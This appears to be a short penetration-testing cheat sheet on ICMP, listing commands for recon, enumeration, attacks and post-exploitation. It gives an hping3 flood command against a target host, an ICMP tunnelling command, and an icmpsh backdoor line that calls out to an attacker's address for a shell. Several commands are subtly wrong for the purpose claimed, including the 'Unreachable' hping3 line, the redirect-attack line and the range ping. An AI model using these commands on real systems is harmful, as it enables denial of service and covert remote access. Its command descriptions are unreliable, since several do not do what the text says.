ICMP (Internet Control Message Protocol)

Default Port: Not applicable

ICMP (Internet Control Message Protocol) is a network layer protocol used by network devices, including routers, to send error messages and operational information indicating success or failure when communicating with another IP address. It is commonly used for diagnostics and troubleshooting in IP networks.

ICMP operates by exchanging control messages between devices, informing them about network conditions, errors, and various other operational states.

Connect​

Ping Utility​

The ping command is used to send ICMP Echo Request messages to a target host:

ping <target-ip>  

Recon​

Identifying ICMP Responses​

You can use Nmap to check if a target host responds to ICMP requests:

nmap -sn X.X.X.X  

ICMP Unreachable Messages​

Tools like hping3 can send custom ICMP Unreachable messages to test network reachability:

hping3 --icmp -1 X.X.X.X  

Enumeration​

ICMP Echo Requests​

ping -c 1 <network-range>  

ICMP Time Exceeded Messages​

Using traceroute, you can trace the route packets take to a destination and identify routers along the path:

traceroute <target-ip>  

Attack Vectors​

ICMP Redirect Attacks​

ICMP Redirect messages can be exploited to manipulate a host's routing table and redirect its traffic through an attacker-controlled device:

echo 1 > /proc/sys/net/ipv4/conf/all/accept_redirects  

ICMP Flood Attacks​

ICMP Flood attacks involve overwhelming a target host with a large volume of ICMP Echo Requests:

hping3 --flood --icmp <target-ip>  

Post-Exploitation​

Ping Sweep​

After gaining access to a network, performing a ping sweep can help identify live hosts:

nmap -sn <network-range>  

ICMP Tunneling​

ICMP Tunneling involves encapsulating other network protocols within ICMP packets to bypass network security measures:

icmpsh -t <target-ip>  

ICMP Backdoor​

icmpsh -b <attacker-ip>